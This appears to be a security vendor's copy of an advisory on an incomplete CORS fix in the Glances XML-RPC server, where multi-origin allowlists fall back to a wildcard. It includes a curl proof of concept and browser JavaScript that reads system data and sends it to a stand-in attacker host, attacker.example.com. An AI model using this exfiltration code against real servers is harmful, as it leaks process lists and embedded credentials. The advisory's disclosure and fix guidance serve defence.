GHSA-87qc-fj39-wccr
HIGHGHSA-87qc-fj39-wccr is a high-severity (CVSS 7.4) CWE-183 vulnerability in glances. O3 Security confirms whether GHSA-87qc-fj39-wccr is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-87qc-fj39-wccr.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-87qc-fj39-wccr plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
glancesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge.
Details
Affected file: glances/server.py, class GlancesXMLRPCServer, line 113
Direct URL (commit 04579778e733d705898a169e049dc84772c852da):
# server.py (GlancesXMLRPCServer.__init__)
cors_origins = self.args.cors_origins # list from config / CLI
# Line 113 — the incomplete fix:
self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'
# ^^^
# Any allowlist with 2+ entries collapses to the wildcard
The cors_origin value is then echoed back as the Access-Control-Allow-Origin response header for every request (line ~147 in the same file):
self.send_header('Access-Control-Allow-Origin', self.cors_origin)
This means the CORS header is determined once at server startup and never compared against the actual Origin header sent by the browser. Even if an operator sets:
# glances.conf
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com
the server responds with Access-Control-Allow-Origin: * to every request, including those from https://attacker.example.com.
Single-origin wildcard (the default, cors_origins = *) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
Test results:
| Origin sent | ACAO header returned | Expected |
|---|---|---|
http://evil.example.com | * | No header |
https://dashboard.corp | * | Reflected |
https://grafana.corp | * | Reflected |
PoC
Special configuration required
The multi-origin collapse is only triggered when cors_origins contains two or more entries. Create the following glances.conf:
# /tmp/glances_multiorigin.conf
[global]
check_update = false
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com
Step 1 — Start the XML-RPC server using the config above
glances -s -p 61209 -C /tmp/glances_multiorigin.conf
Step 2 — Send a CORS simple request from a foreign origin
curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \
-H "Content-Type: text/plain" \
-H "Origin: http://evil.example.com" \
-d '<?xml version="1.0"?>
<methodCall><methodName>getAllPlugins</methodName></methodCall>'
Expected (secure) response:
HTTP/1.0 400 Bad Request
or no Access-Control-Allow-Origin header.
Actual response:
HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
...
<?xml version='1.0'?>
<methodResponse>
<params><param><value><array><data>
<value><string>cpu</string></value>
<value><string>mem</string></value>
...
</data></array></value></param></params>
</methodResponse>
Step 3 — Demonstrate the code-level collapse to wildcard
import sys
sys.path.insert(0, '/path/to/glances') # adjust to local clone
from glances.config import Config
c = Config('/tmp/glances_multiorigin.conf')
cors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])
# Reproduces server.py line 113:
result = cors_list[0] if len(cors_list) == 1 else '*'
print('cors_origins config :', cors_list)
print('cors_origin applied :', result)
print('Is wildcard? :', result == '*')
# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']
# cors_origin applied : *
# Is wildcard? : True
Browser-based exploitation
Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:
// Runs in a page on http://evil.example.com
const payload = `<?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall>`;
fetch('http://GLANCES_HOST:61209/RPC2', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: payload,
})
.then(r => r.text())
.then(data => {
// 'data' contains hostname, OS, full process list, network interfaces, etc.
fetch('https://attacker.example.com/collect?d=' + btoa(data));
});
This works as a CORS "simple request" (POST + text/plain) — no CORS preflight is triggered and the * wildcard allows the browser to read the response.
Impact
Vulnerability type: CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)
Who is impacted: Any operator who:
- Runs Glances in XML-RPC server mode (
glances -s), and - Has configured two or more
cors_originsentries inglances.confbelieving they are restricting browser access.
Operators using the default single-wildcard configuration (cors_origins = *, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin.
Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.
Impact:
- Confidentiality: High — complete system monitoring data readable by any browser page.
- Integrity: None — read-only API.
- Availability: None — no denial-of-service component.
Suggested Fix
Implement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's CORSMiddleware):
# server.py — replace the single static self.cors_origin field with:
def _get_acao_header(self, request_origin: str) -> str | None:
"""Return the correct Access-Control-Allow-Origin value or None."""
if not self.cors_origins or '*' in self.cors_origins:
return '*'
if request_origin in self.cors_origins:
return request_origin
return None # do not send the header for unlisted origins
# In do_POST / send_response:
origin = self.headers.get('Origin', '')
acao = self._get_acao_header(origin)
if acao:
self.send_header('Access-Control-Allow-Origin', acao)
self.send_header('Vary', 'Origin')
Additionally, consider retiring the legacy XML-RPC server in favour of the REST API (glances -w), which uses Starlette's CORSMiddleware correctly, and document the deprecation path.
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | glances | all versions | 4.5.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for glances. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update glances to 4.5.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-87qc-fj39-wccr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-87qc-fj39-wccr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-87qc-fj39-wccr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-87qc-fj39-wccr in your dependencies?
O3 detects GHSA-87qc-fj39-wccr across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.